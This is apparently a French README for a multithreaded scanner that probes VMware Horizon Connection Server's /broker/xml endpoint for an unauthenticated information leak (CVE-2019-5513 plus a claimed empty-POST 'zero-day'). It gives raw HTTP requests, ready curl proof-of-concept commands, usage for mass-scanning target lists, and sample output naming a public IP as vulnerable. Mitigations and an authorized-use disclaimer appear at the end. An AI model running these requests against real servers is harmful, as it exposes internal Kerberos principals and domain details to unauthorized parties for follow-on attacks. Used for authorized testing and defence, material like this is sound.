Scanner de vulnérabilités VMware Horizon /broker/xml

Un scanner multi-thread haute performance pour détecter les vulnérabilités de divulgation d'informations non authentifiées dans le point de terminaison /broker/xml de VMware Horizon Connection Server.

📋 Aperçu

VMware Horizon Connection Server expose un point de terminaison d'API XML (/broker/xml) qui peut divulguer des informations de configuration interne sensibles sans nécessiter d'authentification. Ce scanner identifie rapidement les serveurs vulnérables en testant deux vecteurs d'attaque :

1. Corps POST vide (découverte zero-day) — Envoie une requête POST complètement vide. Le serveur divulgue des données de configuration sans aucune commande XML.
2. XML façonné (CVE-2019-5513) — Utilise la commande XML documentée get-configuration.

🔍 Détails de la vulnérabilité

Quelles informations peuvent être divulguées ?

<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>[email protected]</name>
        </broker-service-principal>
        <domain>corporate-domain.example.com</domain>
    </configuration>
</broker>

⚡ Fonctionnalités

• Extrêmement rapide — Architecture multi-thread (50 threads concurrents par défaut)
• Test de protocole double — Vérifie à la fois HTTPS (port 443) et HTTP (port 80) simultanément
• Deux vecteurs d'attaque — Teste le corps POST vide (zero-day) + XML façonné (CVE-2019-5513)
• Faibles délais d'attente — 5 secondes max par requête, délai de connexion de 3 secondes
• Sortie claire — Résultats colorés avec réponse XML complète pour les hôtes vulnérables
• Export des résultats — Sauvegardez tous les résultats dans un fichier avec l'option -o
• Aucune dépendance — Utilise uniquement curl (standard sur la plupart des systèmes)

🚀 Installation

# Clonez le dépôt
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git

cd vmware-horizon-scanner

# Rendez le script exécutable
chmod +x broker.sh

📖 Utilisation

Analyse de base

./broker.sh -d targets.txt

Analyse avec threads personnalisés (plus rapide)

./broker.sh -d targets.txt -t 100

Analyse et sauvegarde des résultats

./broker.sh -d targets.txt -t 100 -o results.txt

Options de ligne de commande

Format du fichier d'entrée (targets.txt)

# Les commentaires commencent par #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com

📊 Exemple de sortie

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   Scanner de vulnérabilités VMware Horizon /broker/xml
   Mode multi-thread - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Test : POST vide (zero-day) + XML façonné (CVE-2019-5513)
[*] Protocoles : HTTPS + HTTP (les deux testés simultanément)

[*] Analyse de 3 hôtes...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNÉRABLE | HTTPS | EMPTY_POST
Réponse :
<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>TEST-SERVER$@DOMAIN</name>
        </broker-service-principal>
    </configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[-] 192.168.1.100 | NON VULNÉRABLE

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNÉRABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] ANALYSE TERMINÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    Total des hôtes : 3
    Vulnérables : 2
    Non vulnérables : 1
    Temps écoulé : 4 secondes

🔬 Test avec Burp Suite

Pour les tests manuels, voici les requêtes brutes :

Test 1 : Corps POST vide (zero-day)

POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0

Test 2 : XML façonné (CVE-2019-5513)

POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115

<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>

📝 Commandes curl PoC

Corps POST vide

curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  -d ''

XML façonné

curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  --data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'

🛡️ Correction

Mettez à niveau VMware Horizon Connection Server vers une version corrigée :

Atténuations supplémentaires :

• Mettez en place des contrôles d'accès réseau pour restreindre l'accès au point de terminaison /broker/xml
• Utilisez des règles WAF pour bloquer les requêtes non authentifiées vers ce point de terminaison
• Surveillez les requêtes POST suspectes vers /broker/xml

🙏 Crédits

Cet outil est basé sur les recherches des chercheurs en sécurité suivants :

• Découverte originale de CVE-2019-5513 — Atredis Partners
• Cory Mathews de Critical Start (découverte indépendante)

Découverte zero-day dans cet outil

Le vecteur d'attaque du corps POST vide a été identifié lors de recherches supplémentaires. Le CVE original nécessitait une charge utile XML façonnée ; cet outil teste également la méthode du corps vide, qui ne nécessite aucune construction de charge utile et est encore plus simple à exécuter.

⚠️ Avis de non-responsabilité

Cet outil est destiné à des fins éducatives et aux tests de sécurité autorisés uniquement. L'analyse non autorisée de systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester peut violer les lois et réglementations. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

📄 Licence

Licence MIT

⭐ Soutien

Si vous trouvez cet outil utile, veuillez lui attribuer une étoile sur GitHub !